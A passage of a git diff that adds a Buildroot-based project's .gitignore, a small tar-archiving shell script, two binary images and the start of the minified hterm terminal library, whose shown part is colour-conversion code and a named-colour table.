diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..cdb103c --- /dev/null +++ b/.gitignore @@ -0,0 +1 @@ +buildroot-2023.02.9-badrecovery diff --git a/assets/br_archive.sh b/assets/br_archive.sh new file mode 100644 index 0000000..d16ef1c --- /dev/null +++ b/assets/br_archive.sh @@ -0,0 +1,8 @@ +#!/usr/bin/env bash + +if ! [ -d "$1" ]; then + echo "Please specify a valid directory containing buildroot" >&2 + exit 1 +fi + +tar -czvf buildroot-badrecovery.tar.gz --exclude="./dl" -C "$1" . --owner=0 --group=0 diff --git a/assets/buildroot-badrecovery.tar.gz b/assets/buildroot-badrecovery.tar.gz new file mode 100644 index 0000000..293cde7 Binary files /dev/null and b/assets/buildroot-badrecovery.tar.gz differ diff --git a/assets/bzImage b/assets/bzImage new file mode 100644 index 0000000..e823eca Binary files /dev/null and b/assets/bzImage differ diff --git a/assets/hterm_all.min.js b/assets/hterm_all.min.js new file mode 100644 index 0000000..c5138d2 --- /dev/null +++ b/assets/hterm_all.min.js @@ -0,0 +1,112 @@ +"use strict";const lib={};lib.assert=function(condition){if(globalThis.chai){lib.assert=globalThis.chai.assert}else{lib.assert=function(condition){}}lib.assert(condition)};lib.notNull=function(value){lib.assert(value!==null);return value};lib.notUndefined=function(value){lib.assert(value!==undefined);return value};lib.polyfill={};lib.codec={};lib.codec.codeUnitArrayToString=function(array){let ret="";for(let i=0;i>4*(size-2)}return lib.colors.arrayToRGBA([r,g,b].map(norm16))};lib.colors.x11ToCSS=function(v){function scale(v){if(v.length==1){return parseInt(v+v,16)}if(v.length==2){return parseInt(v,16)}if(v.length==3){v=v+v.substr(2)}return Math.round(parseInt(v,16)/257)}const ary=v.match(lib.colors.re_.x11rgb);if(!ary){if(v.startsWith("#")){return lib.colors.x11HexToCSS(v)}else{return lib.colors.nameToRGB(v)}}ary.splice(0,1);return lib.colors.arrayToRGBA(ary.map(scale))};lib.colors.hexToRGB=function(hex){const hex16=lib.colors.re_.hex16;const hex24=lib.colors.re_.hex24;if(hex16.test(hex)){hex=`#${hex.match(/[a-f0-9]/gi).map(x=>`${x}${x}`).join("")}`}const ary=hex.match(hex24);if(!ary){return null}const val=index=>parseInt(ary[index+1],16);return ary[4]===undefined||val(3)===255?`rgb(${val(0)}, ${val(1)}, ${val(2)})`:`rgba(${val(0)}, ${val(1)}, ${val(2)}, ${val(3)/255})`};lib.colors.rgbToHex=function(rgb){const ary=lib.colors.crackRGB(rgb);if(!ary){return null}const hex="#"+lib.f.zpad((parseInt(ary[0],10)<<16|parseInt(ary[1],10)<<8|parseInt(ary[2],10)<<0).toString(16),6);if(ary[3]===undefined||ary[3]==="1"){return hex}else{const alpha=Math.round(255*parseFloat(ary[3])).toString(16);return`${hex}${lib.f.zpad(alpha,2)}`}};lib.colors.crackHSL=function(color){if(color.startsWith("hsla")){const ary=color.match(lib.colors.re_.hsla);if(ary){ary.shift();return Array.from(ary)}}else{const ary=color.match(lib.colors.re_.hsl);if(ary){ary.shift();ary.push("1");return Array.from(ary)}}console.error(`Couldn't crack: ${color}`);return null};lib.colors.hslxArrayToRgbaArray=function(hslx){const hue=parseInt(hslx[0],10)/60;const sat=parseInt(hslx[1],10)/100;const light=parseInt(hslx[2],10)/100;const hueToRgb=(t1,t2,hue)=>{if(hue<0){hue+=6}if(hue>=6){hue-=6}if(hue<1){return(t2-t1)*hue+t1}else if(hue<3){return t2}else if(hue<4){return(t2-t1)*(4-hue)+t1}else{return t1}};const t2=light<=.5?light*(sat+1):light+sat-light*sat;const t1=light*2-t2;return[255*hueToRgb(t1,t2,hue+2),255*hueToRgb(t1,t2,hue),255*hueToRgb(t1,t2,hue-2),hslx[3]!==undefined?+hslx[3]:1]};lib.colors.hsvxArrayToHslaArray=function(hsvx){const clamp=x=>lib.f.clamp(x,0,100);const[hue,saturation,value]=hsvx.map(parseFloat);const hslLightness=clamp(value*(100-saturation/2)/100);let hslSaturation=0;if(hslLightness!==0&&hslLightness!==100){hslSaturation=clamp((value-hslLightness)/Math.min(hslLightness,100-hslLightness)*100)}return[hue,hslSaturation,hslLightness,hsvx.length===4?+hsvx[3]:1]};lib.colors.hslxArrayToHsvaArray=function(hslx){const clamp=x=>lib.f.clamp(x,0,100);const[hue,saturation,lightness]=hslx.map(parseFloat);const hsvValue=clamp(lightness+saturation*Math.min(lightness,100-lightness)/100);let hsvSaturation=0;if(hsvValue!==0){hsvSaturation=clamp(200*(1-lightness/hsvValue))}return[hue,hsvSaturation,hsvValue,hslx.length===4?+hslx[3]:1]};lib.colors.hslToRGB=function(hsl){const ary=lib.colors.crackHSL(hsl);if(!ary){return null}const[r,g,b,a]=lib.colors.hslxArrayToRgbaArray(ary);const rgb=[r,g,b].map(Math.round).join(", ");return a===1?`rgb(${rgb})`:`rgba(${rgb}, ${a})`};lib.colors.rgbxArrayToHslaArray=function(rgbx){const r=parseInt(rgbx[0],10)/255;const g=parseInt(rgbx[1],10)/255;const b=parseInt(rgbx[2],10)/255;const min=Math.min(r,g,b);const max=Math.max(r,g,b);const spread=max-min;const l=(max+min)/2;if(spread==0){return[0,0,100*l,rgbx[3]!==undefined?+rgbx[3]:1]}let h=(()=>{switch(max){case r:return(g-b)/spread%6;case g:return(b-r)/spread+2;case b:return(r-g)/spread+4}})();h*=60;if(h<0){h+=360}const s=spread/(1-Math.abs(2*l-1));return[h,100*s,100*l,rgbx[3]!==undefined?+rgbx[3]:1]};lib.colors.rgbToHsl=function(rgb){const ary=lib.colors.crackRGB(rgb);if(!ary){return null}let[h,s,l,a]=lib.colors.rgbxArrayToHslaArray(ary);h=Math.round(h);s=Math.round(s);l=Math.round(l);return a===1?`hsl(${h}, ${s}%, ${l}%)`:`hsla(${h}, ${s}%, ${l}%, ${a})`};lib.colors.normalizeCSS=function(def){if(def.startsWith("#")){return lib.colors.hexToRGB(def)}if(lib.colors.re_.rgbx.test(def)){return def}if(lib.colors.re_.hslx.test(def)){return lib.colors.hslToRGB(def)}return lib.colors.nameToRGB(def)};lib.colors.normalizeCSSToHSL=function(def){if(lib.colors.re_.hslx.test(def)){return def}const rgb=lib.colors.normalizeCSS(def);if(!rgb){return rgb}return lib.colors.rgbToHsl(rgb)};lib.colors.arrayToRGBA=function(ary){if(ary.length==3){return`rgb(${ary[0]}, ${ary[1]}, ${ary[2]})`}return`rgba(${ary[0]}, ${ary[1]}, ${ary[2]}, ${ary[3]})`};lib.colors.arrayToHSLA=function(ary){const alpha=ary.length>3?ary[3]:1;return`hsla(${Math.round(ary[0])}, ${Math.round(ary[1])}%, `+`${Math.round(ary[2])}%, ${alpha})`};lib.colors.setAlpha=function(rgb,alpha){const ary=lib.colors.crackRGB(rgb);ary[3]=alpha.toString();return lib.colors.arrayToRGBA(ary)};lib.colors.mix=function(base,tint,percent){const ary1=lib.colors.crackRGB(base);const ary2=lib.colors.crackRGB(tint);for(let i=0;i<4;++i){const basecol=parseInt(ary1[i],10);const tintcol=parseInt(ary2[i],10);const diff=tintcol-basecol;ary1[i]=Math.round(base+diff*percent).toString()}return lib.colors.arrayToRGBA(ary1)};lib.colors.crackRGB=function(color){if(color.startsWith("rgba")){const ary=color.match(lib.colors.re_.rgba);if(ary){ary.shift();return Array.from(ary)}}else{const ary=color.match(lib.colors.re_.rgb);if(ary){ary.shift();ary.push("1");return Array.from(ary)}}console.error("Couldn't crack: "+color);return null};lib.colors.nameToRGB=function(name){if(name in lib.colors.colorNames){return lib.colors.colorNames[name]}name=name.toLowerCase();if(name in lib.colors.colorNames){return lib.colors.colorNames[name]}name=name.replace(/\s+/g,"");if(name in lib.colors.colorNames){return lib.colors.colorNames[name]}return null};lib.colors.luminance=function(r,g,b){const[rr,gg,bb]=[r,g,b].map(value=>{value/=255;if(value<=.03928){return value/12.92}else{return Math.pow((value+.055)/1.055,2.4)}});return.2126*rr+.7152*gg+.0722*bb};lib.colors.contrastRatio=function(l1,l2){return(Math.max(l1,l2)+.05)/(Math.min(l1,l2)+.05)};lib.colors.stockPalette=["#000000","#CC0000","#4E9A06","#C4A000","#3465A4","#75507B","#06989A","#D3D7CF","#555753","#EF2929","#00BA13","#FCE94F","#729FCF","#F200CB","#00B5BD","#EEEEEC","#000000","#00005F","#000087","#0000AF","#0000D7","#0000FF","#005F00","#005F5F","#005F87","#005FAF","#005FD7","#005FFF","#008700","#00875F","#008787","#0087AF","#0087D7","#0087FF","#00AF00","#00AF5F","#00AF87","#00AFAF","#00AFD7","#00AFFF","#00D700","#00D75F","#00D787","#00D7AF","#00D7D7","#00D7FF","#00FF00","#00FF5F","#00FF87","#00FFAF","#00FFD7","#00FFFF","#5F0000","#5F005F","#5F0087","#5F00AF","#5F00D7","#5F00FF","#5F5F00","#5F5F5F","#5F5F87","#5F5FAF","#5F5FD7","#5F5FFF","#5F8700","#5F875F","#5F8787","#5F87AF","#5F87D7","#5F87FF","#5FAF00","#5FAF5F","#5FAF87","#5FAFAF","#5FAFD7","#5FAFFF","#5FD700","#5FD75F","#5FD787","#5FD7AF","#5FD7D7","#5FD7FF","#5FFF00","#5FFF5F","#5FFF87","#5FFFAF","#5FFFD7","#5FFFFF","#870000","#87005F","#870087","#8700AF","#8700D7","#8700FF","#875F00","#875F5F","#875F87","#875FAF","#875FD7","#875FFF","#878700","#87875F","#878787","#8787AF","#8787D7","#8787FF","#87AF00","#87AF5F","#87AF87","#87AFAF","#87AFD7","#87AFFF","#87D700","#87D75F","#87D787","#87D7AF","#87D7D7","#87D7FF","#87FF00","#87FF5F","#87FF87","#87FFAF","#87FFD7","#87FFFF","#AF0000","#AF005F","#AF0087","#AF00AF","#AF00D7","#AF00FF","#AF5F00","#AF5F5F","#AF5F87","#AF5FAF","#AF5FD7","#AF5FFF","#AF8700","#AF875F","#AF8787","#AF87AF","#AF87D7","#AF87FF","#AFAF00","#AFAF5F","#AFAF87","#AFAFAF","#AFAFD7","#AFAFFF","#AFD700","#AFD75F","#AFD787","#AFD7AF","#AFD7D7","#AFD7FF","#AFFF00","#AFFF5F","#AFFF87","#AFFFAF","#AFFFD7","#AFFFFF","#D70000","#D7005F","#D70087","#D700AF","#D700D7","#D700FF","#D75F00","#D75F5F","#D75F87","#D75FAF","#D75FD7","#D75FFF","#D78700","#D7875F","#D78787","#D787AF","#D787D7","#D787FF","#D7AF00","#D7AF5F","#D7AF87","#D7AFAF","#D7AFD7","#D7AFFF","#D7D700","#D7D75F","#D7D787","#D7D7AF","#D7D7D7","#D7D7FF","#D7FF00","#D7FF5F","#D7FF87","#D7FFAF","#D7FFD7","#D7FFFF","#FF0000","#FF005F","#FF0087","#FF00AF","#FF00D7","#FF00FF","#FF5F00","#FF5F5F","#FF5F87","#FF5FAF","#FF5FD7","#FF5FFF","#FF8700","#FF875F","#FF8787","#FF87AF","#FF87D7","#FF87FF","#FFAF00","#FFAF5F","#FFAF87","#FFAFAF","#FFAFD7","#FFAFFF","#FFD700","#FFD75F","#FFD787","#FFD7AF","#FFD7D7","#FFD7FF","#FFFF00","#FFFF5F","#FFFF87","#FFFFAF","#FFFFD7","#FFFFFF","#080808","#121212","#1C1C1C","#262626","#303030","#3A3A3A","#444444","#4E4E4E","#585858","#626262","#6C6C6C","#767676","#808080","#8A8A8A","#949494","#9E9E9E","#A8A8A8","#B2B2B2","#BCBCBC","#C6C6C6","#D0D0D0","#DADADA","#E4E4E4","#EEEEEE"].map(lib.colors.hexToRGB);lib.colors.colorNames={aliceblue:"rgb(240, 248, 255)",antiquewhite:"rgb(250, 235, 215)",antiquewhite1:"rgb(255, 239, 219)",antiquewhite2:"rgb(238, 223, 204)",antiquewhite3:"rgb(205, 192, 176)",antiquewhite4:"rgb(139, 131, 120)",aquamarine:"rgb(127, 255, 212)",aquamarine1:"rgb(127, 255, 212)",aquamarine2:"rgb(118, 238, 198)",aquamarine3:"rgb(102, 205, 170)",aquamarine4:"rgb(69, 139, 116)",azure:"rgb(240, 255, 255)",azure1:"rgb(240, 255, 255)",azure2:"rgb(224, 238, 238)",azure3:"rgb(193, 205, 205)",azure4:"rgb(131, 139, 139)",beige:"rgb(245, 245, 220)",bisque:"rgb(255, 228, 196)",bisque1:"rgb(255, 228, 196)",bisque2:"rgb(238, 213, 183)",bisque3:"rgb(205, 183, 158)",bisque4:"rgb(139, 125, 107)",black:"rgb(0, 0, 0)",blanchedalmond:"rgb(255, 235, 205)",blue:"rgb(0, 0, 255)",blue1:"rgb(0, 0, 255)",blue2:"rgb(0, 0, 238)",blue3:"rgb(0, 0, 205)",blue4:"rgb(0, 0, 139)",blueviolet:"rgb(138, 43, 226)",brown:"rgb(165, 42, 42)",brown1:"rgb(255, 64, 64)",brown2:"rgb(238, 59, 59)",brown3:"rgb(205, 51, 51)",brown4:"rgb(139, 35, 35)",burlywood:"rgb(222, 184, 135)",burlywood1:"rgb(255, 211, 155)",burlywood2:"rgb(238, 197, 145)",burlywood3:"rgb(205, 170, 125)",burlywood4:"rgb(139, 115, 85)",cadetblue:"rgb(95, 158, 160)",cadetblue1:"rgb(152, 245, 255)",cadetblue2:"rgb(142, 229, 238)",cadetblue3:"rgb(122, 197, 205)",cadetblue4:"rgb(83, 134, 139)",chartreuse:"rgb(127, 255, 0)",chartreuse1:"rgb(127, 255, 0)",chartreuse2:"rgb(118, 238, 0)",chartreuse3:"rgb(102, 205, 0)",chartreuse4:"rgb(69, 139, 0)",chocolate:"rgb(210, 105, 30)",chocolate1:"rgb(255, 127, 36)",chocolate2:"rgb(238, 118, 33)",chocolate3:"rgb(205, 102, 29)",chocolate4:"rgb(139, 69, 19)",coral:"rgb(255, 127, 80)",coral1:"rgb(255, 114, 86)",coral2:"rgb(238, 106, 80)",coral3:"rgb(205, 91, 69)",coral4:"rgb(139, 62, 47)",cornflowerblue:"rgb(100, 149, 237)",cornsilk:"rgb(255, 248, 220)",cornsilk1:"rgb(255, 248, 220)",cornsilk2:"rgb(238, 232, 205)",cornsilk3:"rgb(205, 200, 177)",cornsilk4:"rgb(139, 136, 120)",cyan:"rgb(0, 255, 255)",cyan1:"rgb(0, 255, 255)",cyan2:"rgb(0, 238, 238)",cyan3:"rgb(0, 205, 205)",cyan4:"rgb(0, 139, 139)",darkblue:"rgb(0, 0, 139)",darkcyan:"rgb(0, 139, 139)",darkgoldenrod:"rgb(184, 134, 11)",darkgoldenrod1:"rgb(255, 185, 15)",darkgoldenrod2:"rgb(238, 173, 14)",darkgoldenrod3:"rgb(205, 149, 12)",darkgoldenrod4:"rgb(139, 101, 8)",darkgray:"rgb(169, 169, 169)",darkgreen:"rgb(0, 100, 0)",darkgrey:"rgb(169, 169, 169)",darkkhaki:"rgb(189, 183, 107)",darkmagenta:"rgb(139, 0, 139)",darkolivegreen:"rgb(85, 107, 47)",darkolivegreen1:"rgb(202, 255, 112)",darkolivegreen2:"rgb(188, 238, 104)",darkolivegreen3:"rgb(162, 205, 90)",darkolivegreen4:"rgb(110, 139, 61)",darkorange:"rgb(255, 140, 0)",darkorange1:"rgb(255, 127, 0)",darkorange2:"rgb(238, 118, 0)",darkorange3:"rgb(205, 102, 0)",darkorange4:"rgb(139, 69, 0)",darkorchid:"rgb(153, 50, 204)",darkorchid1:"rgb(191, 62, 255)",darkorchid2:"rgb(178, 58, 238)",darkorchid3:"rgb(154, 50, 205)",darkorchid4:"rgb(104, 34, 139)",darkred:"rgb(139, 0, 0)",darksalmon:"rgb(233, 150, 122)",darkseagreen:"rgb(143, 188, 143)",darkseagreen1:"rgb(193, 255, 193)",darkseagreen2:"rgb(180, 238, 180)",darkseagreen3:"rgb(155, 205, 155)",darkseagreen4:"rgb(105, 139, 105)",darkslateblue:"rgb(72, 61, 139)",darkslategray:"rgb(47, 79, 79)",darkslategray1:"rgb(151, 255, 255)",darkslategray2:"rgb(141, 238, 238)",darkslategray3:"rgb(121, 205, 205)",darkslategray4:"rgb(82, 139, 139)",darkslategrey:"rgb(47, 79, 79)",darkturquoise:"rgb(0, 206, 209)",darkviolet:"rgb(148, 0, 211)",debianred:"rgb(215, 7, 81)",deeppink:"rgb(255, 20, 147)",deeppink1:"rgb(255, 20, 147)",deeppink2:"rgb(238, 18, 137)",deeppink3:"rgb(205, 16, 118)",deeppink4:"rgb(139, 10, 80)",deepskyblue:"rgb(0, 191, 255)",deepskyblue1:"rgb(0, 191, 255)",deepskyblue2:"rgb(0, 178, 238)",deepskyblue3:"rgb(0, 154, 205)",deepskyblue4:"rgb(0, 104, 139)",dimgray:"rgb(105, 105, 105)",dimgrey:"rgb(105, 105, 105)",dodgerblue:"rgb(30, 144, 255)",dodgerblue1:"rgb(30, 144, 255)",dodgerblue2:"rgb(28, 134, 238)",dodgerblue3:"rgb(24, 116, 205)",dodgerblue4:"rgb(16, 78, 139)",firebrick:"rgb(178, 34, 34)",firebrick1:"rgb(255, 48, 48)",firebrick2:"rgb(238, 44, 44)",firebrick3:"rgb(205, 38, 38)",firebrick4:"rgb(139, 26, 26)",floralwhite:"rgb(255, 250, 240)",forestgreen:"rgb(34, 139, 34)",gainsboro:"rgb(220, 220, 220)",ghostwhite:"rgb(248, 248, 255)",gold:"rgb(255, 215, 0)",gold1:"rgb(255, 215, 0)",gold2:"rgb(238, 201, 0)",gold3:"rgb(205, 173, 0)",gold4:"rgb(139, 117, 0)",goldenrod:"rgb(218, 165, 32)",goldenrod1:"rgb(255, 193, 37)",goldenrod2:"rgb(238, 180, 34)",goldenrod3:"rgb(205, 155, 29)",goldenrod4:"rgb(139, 105, 20)",gray:"rgb(190, 190, 190)",gray0:"rgb(0, 0, 0)",gray1:"rgb(3, 3, 3)",gray10:"rgb(26, 26, 26)",gray100:"rgb(255, 255, 255)",gray11:"rgb(28, 28, 28)",gray12:"rgb(31, 31, 31)",gray13:"rgb(33, 33, 33)",gray14:"rgb(36, 36, 36)",gray15:"rgb(38, 38, 38)",gray16:"rgb(41, 41, 41)",gray17:"rgb(43, 43, 43)",gray18:"rgb(46, 46, 46)",gray19:"rgb(48, 48, 48)",gray2:"rgb(5, 5, 5)",gray20:"rgb(51, 51, 51)",gray21:"rgb(54, 54, 54)",gray22:"rgb(56, 56, 56)",gray23:"rgb(59, 59, 59)",gray24:"rgb(61, 61, 61)",gray25:"rgb(64, 64, 64)",gray26:"rgb(66, 66, 66)",gray27:"rgb(69, 69, 69)",gray28:"rgb(71, 71, 71)",gray29:"rgb(74, 74, 74)",gray3:"rgb(8, 8, 8)",gray30:"rgb(77, 77, 77)",gray31:"rgb(79, 79, 79)",gray32:"rgb(82, 82, 82)",gray33:"rgb(84, 84, 84)",gray34:"rgb(87, 87, 87)",gray35:"rgb(89, 89, 89)",gray36:"rgb(92, 92, 92)",gray37:"rgb(94, 94, 94)",gray38:"rgb(97, 97, 97)",gray39:"rgb(99, 99, 99)",gray4:"rgb(10, 10, 10)",gray40:"rgb(102, 102, 102)",gray41:"rgb(105, 105, 105)",gray42:"rgb(107, 107, 107)",gray43:"rgb(110, 110, 110)",gray44:"rgb(112, 112, 112)",gray45:"rgb(115, 115, 115)",gray46:"rgb(117, 117, 117)",gray47:"rgb(120, 120, 120)",gray48:"rgb(122, 122, 122)",gray49:"rgb(125, 125, 125)",gray5:"rgb(13, 13, 13)",gray50:"rgb(127, 127, 127)",gray51:"rgb(130, 130, 130)",gray52:"rgb(133, 133, 133)",gray53:"rgb(135, 135, 135)",gray54:"rgb(138, 138, 138)",gray55:"rgb(140, 140, 140)",gray56:"rgb(143, 143, 143)",gray57:"rgb(145, 145, 145)",gray58:"rgb(148, 148, 148)",gray59:"rgb(150, 150, 150)",gray6:"rgb(15, 15, 15)",gray60:"rgb(153, 153, 153)",gray61:"rgb(156, 156, 156)",gray62:"rgb(158, 158, 158)",gray63:"rgb(161, 161, 161)",gray64:"rgb(163, 163, 163)",gray65:"rgb(166, 166, 166)",gray66:"rgb(168, 168, 168)",gray67:"rgb(171, 171, 171)",gray68:"rgb(173, 173, 173)",gray69:"rgb(176, 176, 176)",gray7:"rgb(18, 18, 18)",gray70:"rgb(179, 179, 179)",gray71:"rgb(181, 181, 181)",gray72:"rgb(184, 184, 184)",gray73:"rgb(186, 186, 186)",gray74:"rgb(189, 189, 189)",gray75:"rgb(191, 191, 191)",gray76:"rgb(194, 194, 194)",gray77:"rgb(196, 196, 196)",gray78:"rgb(199, 199, 199)",gray79:"rgb(201, 201, 201)",gray8:"rgb(20, 20, 20)",gray80:"rgb(204, 204, 204)",gray81:"rgb(207, 207, 207)",gray82:"rgb(209, 209, 209)",gray83:"rgb(212, 212, 212)",gray84:"rgb(214, 214, 214)",gray85:"rgb(217, 217, 217)",gray86:"rgb(219, 219, 219)",gray87:"rgb(222, 222, 222)",gray88:"rgb(224, 224, 224)",gray89:"rgb(227, 227, 227)",gray9:"rgb(23, 23, 23)",gray90:"rgb(229, 229, 229)",gray91:"rgb(232, 232, 232)",gray92:"rgb(235, 235, 235)",gray93:"rgb(237, 237, 237)",gray94:"rgb(240, 240, 240)",gray95:"rgb(242, 242, 242)",gray96:"rgb(245, 245, 245)",gray97:"rgb(247, 247, 247)",gray98:"rgb(250, 250, 250)",gray99:"rgb(252, 252, 252)",green:"rgb(0, 255, 0)",green1:"rgb(0, 255, 0)",green2:"rgb(0, 238, 0)",green3:"rgb(0, 205, 0)",green4:"rgb(0, 139, 0)",greenyellow:"rgb(173, 255, 47)",grey:"rgb(190, 190, 190)",grey0:"rgb(0, 0, 0)",grey1:"rgb(3, 3, 3)",grey10:"rgb(26, 26, 26)",grey100:"rgb(255, 255, 255)",grey11:"rgb(28, 28, 28)",grey12:"rgb(31, 31, 31)",grey13:"rgb(33, 33, 33)",grey14:"rgb(36, 36, 36)",grey15:"rgb(38, 38, 38)",grey16:"rgb(41, 41, 41)",grey17:"rgb(43, 43, 43)",grey18:"rgb(46, 46, 46)",grey19:"rgb(48, 48, 48)",grey2:"rgb(5, 5, 5)",grey20:"rgb(51, 51, 51)",grey21:"rgb(54, 54, 54)",grey22:"rgb(56, 56, 56)",grey23:"rgb(59, 59, 59)",grey24:"rgb(61, 61, 61)",grey25:"rgb(64, 64, 64)",grey26:"rgb(66, 66, 66)",grey27:"rgb(69, 69, 69)",grey28:"rgb(71, 71, 71)",grey29:"rgb(74, 74, 74)",grey3:"rgb(8, 8, 8)",grey30:"rgb(77, 77, 77)",grey31:"rgb(79, 79, 79)",grey32:"rgb(82, 82, 82)",grey33:"rgb(84, 84, 84)",grey34:"rgb(87, 87, 87)",grey35:"rgb(89, 89, 89)",grey36:"rgb(92, 92, 92)",grey37:"rgb(94, 94, 94)",grey38:"rgb(97, 97, 97)",grey39:"rgb(99, 99, 99)",grey4:"rgb(10, 10, 10)",grey40:"rgb(102, 102, 102)",grey41:"rgb(105, 105, 105)",grey42:"rgb(107, 107, 107)",grey43:"rgb(110, 110, 110)",grey44:"rgb(112, 112, 112)",grey45:"rgb(115, 115, 115)",grey46:"rgb(117, 117, 117)",grey47:"rgb(120, 120, 120)",grey48:"rgb(122, 122, 122)",grey49:"rgb(125, 125, 125)",grey5:"rgb(13, 13, 13)",grey50:"rgb(127, 127, 127)",grey51:"rgb(130, 130, 130)",grey52:"rgb(133, 133, 133)",grey53:"rgb(135, 135, 135)",grey54:"rgb(138, 138, 138)",grey55:"rgb(140, 140, 140)",grey56:"rgb(143, 143, 143)",grey57:"rgb(145, 145, 145)",grey58:"rgb(148, 148, 148)",grey59:"rgb(150, 150, 150)",grey6:"rgb(15, 15, 15)",grey60:"rgb(153, 153, 153)",grey61:"rgb(156, 156, 156)",grey62:"rgb(158, 158, 158)",grey63:"rgb(161, 161, 161)",grey64:"rgb(163, 163, 163)",grey65:"rgb(166, 166, 166)",grey66:"rgb(168, 168, 168)",grey67:"rgb(171, 171, 171)",grey68:"rgb(173, 173, 173)",grey69:"rgb(176, 176, 176)",grey7:"rgb(18, 18, 18)",grey70:"rgb(179, 179, 179)",grey71:"rgb(181, 181, 181)",grey72:"rgb(184, 184, 184)",grey73:"rgb(186, 186, 186)",grey74:"rgb(189, 189, 189)",grey75:"rgb(191, 191, 191)",grey76:"rgb(194, 194, 194)",grey77:"rgb(196, 196, 196)",grey78:"rgb(199, 199, 199)",grey79:"rgb(201, 201, 201)",grey8:"rgb(20, 20, 20)",grey80:"rgb(204, 204, 204)",grey81:"rgb(207, 207, 207)",grey82:"rgb(209, 209, 209)",grey83:"rgb(212, 212, 212)",grey84:"rgb(214, 214, 214)",grey85:"rgb(217, 217, 217)",grey86:"rgb(219, 219, 219)",grey87:"rgb(222, 222, 222)",grey88:"rgb(224, 224, 224)",grey89:"rgb(227, 227, 227)",grey9:"rgb(23, 23, 23)",grey90:"rgb(229, 229, 229)",grey91:"rgb(232, 232, 232)",grey92:"rgb(235, 235, 235)",grey93:"rgb(237, 237, 237)",grey94:"rgb(240, 240, 240)",grey95:"rgb(242, 242, 242)",grey96:"rgb(245, 245, 245)",grey97:"rgb(247, 247, 247)",grey98:"rgb(250, 250, 250)",grey99:"rgb(252, 252, 252)",honeydew:"rgb(240, 255, 240)",honeydew1:"rgb(240, 255, 240)",honeydew2:"rgb(224, 238, 224)",honeydew3:"rgb(193, 205, 193)",honeydew4:"rgb(131, 139, 131)",hotpink:"rgb(255, 105, 180)",hotpink1:"rgb(255, 110, 180)",hotpink2:"rgb(238, 106, 167)",hotpink3:"rgb(205, 96, 144)",hotpink4:"rgb(139, 58, 98)",indianred:"rgb(205, 92, 92)",indianred1:"rgb(255, 106, 106)",indianred2:"rgb(238, 99, 99)",indianred3:"rgb(205, 85, 85)",indianred4:"rgb(139, 58, 58)",ivory:"rgb(255, 255, 240)",ivory1:"rgb(255, 255, 240)",ivory2:"rgb(238, 238, 224)",ivory3:"rgb(205, 205, 193)",ivory4:"rgb(139, 139, 131)",khaki:"rgb(240, 230, 140)",khaki1:"rgb(255, 246, 143)",khaki2:"rgb(238, 230, 133)",khaki3:"rgb(205, 198, 115)",khaki4:"rgb(139, 134, 78)",lavender:"rgb(230, 230, 250)",lavenderblush:"rgb(255, 240, 245)",lavenderblush1:"rgb(255, 240, 245)",lavenderblush2:"rgb(238, 224, 229)",lavenderblush3:"rgb(205, 193, 197)",lavenderblush4:"rgb(139, 131, 134)",lawngreen:"rgb(124, 252, 0)",lemonchiffon:"rgb(255, 250, 205)",lemonchiffon1:"rgb(255, 250, 205)",lemonchiffon2:"rgb(238, 233, 191)",lemonchiffon3:"rgb(205, 201, 165)",lemonchiffon4:"rgb(139, 137, 112)",lightblue:"rgb(173, 216, 230)",lightblue1:"rgb(191, 239, 255)",lightblue2:"rgb(178, 223, 238)",lightblue3:"rgb(154, 192, 205)",lightblue4:"rgb(104, 131, 139)",lightcoral:"rgb(240, 128, 128)",lightcyan:"rgb(224, 255, 255)",lightcyan1:"rgb(224, 255, 255)",lightcyan2:"rgb(209, 238, 238)",lightcyan3:"rgb(180, 205, 205)",lightcyan4:"rgb(122, 139, 139)",lightgoldenrod:"rgb(238, 221, 130)",lightgoldenrod1:"rgb(255, 236, 139)",lightgoldenrod2:"rgb(238, 220, 130)",lightgoldenrod3:"rgb(205, 190, 112)",lightgoldenrod4:"rgb(139, 129, 76)",lightgoldenrodyellow:"rgb(250, 250, 210)",lightgray:"rgb(211, 211, 211)",lightgreen:"rgb(144, 238, 144)",lightgrey:"rgb(211, 211, 211)",lightpink:"rgb(255, 182, 193)",lightpink1:"rgb(255, 174, 185)",lightpink2:"rgb(238, 162, 173)",lightpink3:"rgb(205, 140, 149)",lightpink4:"rgb(139, 95, 101)",lightsalmon:"rgb(255, 160, 122)",lightsalmon1:"rgb(255, 160, 122)",lightsalmon2:"rgb(238, 149, 114)",lightsalmon3:"rgb(205, 129, 98)",lightsalmon4:"rgb(139, 87, 66)",lightseagreen:"rgb(32, 178, 170)",lightskyblue:"rgb(135, 206, 250)",lightskyblue1:"rgb(176, 226, 255)",lightskyblue2:"rgb(164, 211, 238)",lightskyblue3:"rgb(141, 182, 205)",lightskyblue4:"rgb(96, 123, 139)",lightslateblue:"rgb(132, 112, 255)",lightslategray:"rgb(119, 136, 153)",lightslategrey:"rgb(119, 136, 153)",lightsteelblue:"rgb(176, 196, 222)",lightsteelblue1:"rgb(202, 225, 255)",lightsteelblue2:"rgb(188, 210, 238)",lightsteelblue3:"rgb(162, 181, 205)",lightsteelblue4:"rgb(110, 123, 139)",lightyellow:"rgb(255, 255, 224)",lightyellow1:"rgb(255, 255, 224)",lightyellow2:"rgb(238, 238, 209)",lightyellow3:"rgb(205, 205, 180)",lightyellow4:"rgb(139, 139, 122)",limegreen:"rgb(50, 205, 50)",linen:"rgb(250, 240, 230)",magenta:"rgb(255, 0, 255)",magenta1:"rgb(255, 0, 255)",magenta2:"rgb(238, 0, 238)",magenta3:"rgb(205, 0, 205)",magenta4:"rgb(139, 0, 139)",maroon:"rgb(176, 48, 96)",maroon1:"rgb(255, 52, 179)",maroon2:"rgb(238, 48, 167)",maroon3:"rgb(205, 41, 144)",maroon4:"rgb(139, 28, 98)",mediumaquamarine:"rgb(102, 205, 170)",mediumblue:"rgb(0, 0, 205)",mediumorchid:"rgb(186, 85, 211)",mediumorchid1:"rgb(224, 102, 255)",mediumorchid2:"rgb(209, 95, 238)",mediumorchid3:"rgb(180, 82, 205)",mediumorchid4:"rgb(122, 55, 139)",mediumpurple:"rgb(147, 112, 219)",mediumpurple1:"rgb(171, 130, 255)",mediumpurple2:"rgb(159, 121, 238)",mediumpurple3:"rgb(137, 104, 205)",mediumpurple4:"rgb(93, 71, 139)",mediumseagreen:"rgb(60, 179, 113)",mediumslateblue:"rgb(123, 104, 238)",mediumspringgreen:"rgb(0, 250, 154)",mediumturquoise:"rgb(72, 209, 204)",mediumvioletred:"rgb(199, 21, 133)",midnightblue:"rgb(25, 25, 112)",mintcream:"rgb(245, 255, 